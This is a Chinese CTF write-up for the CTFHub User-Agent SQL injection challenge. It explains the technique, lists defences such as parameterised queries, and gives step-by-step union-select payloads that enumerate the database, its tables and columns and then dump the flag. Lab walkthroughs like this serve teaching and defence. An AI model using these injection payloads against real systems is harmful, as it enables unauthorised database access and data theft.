CTFHub - UA注入

目录

1. UA注入原理

2. 防御

3. 注入过程

3.1 初始界面

3.2 判断使用手法及类型

3.3 获取数据库 库名称

3.4 获取数据表 表名称

3.5 获取列名

3.6 获取数据


1. UA注入原理

  1. UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
  2. UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。

2. 防御

  • 对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
  • 确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。

3. 注入过程

3.1 初始界面

        SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。

        此题为UA注入,所以我们利用bp进行抓包,找到数据包内的UA进行注入。

刷新一次后。 

3.2 判断使用手法及类型

        根据页面存在回显,可使用联合查询。

        根据页面没有报错信息,不可使用报错注入。

      【2 and 1=2】

        当前select语句中的列数。

-2 union select 1,2 

3.3 获取数据库 库名称

-2 union select 1,database()

3.4 获取数据表 表名称

        使用的命令为:select * from 表名 where 限制条件。

        table_schema=database() :选择当前连接的数据库(sqli)中的所有表。

        group_concat:多个行的值合并为一个字符串的聚合函数。通俗的将就是回显出所有内容。

        可以发现此处没有【flag】表,取而代之的是【gnihfyuxxz】,查看该表中的列名。

       【news】表一直都存在,所以第一想法先不考虑此表中的内容。

 -2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

3.5 获取列名

         table_name='gnihfyuxxz' :选择表名为【gnihfyuxxz】的表的数据。得到该表中的列名【hsvdxohjvr】。

-2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='gnihfyuxxz'

3.6 获取数据

 -2 union select 1,hsvdxohjvr from gnihfyuxxz

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值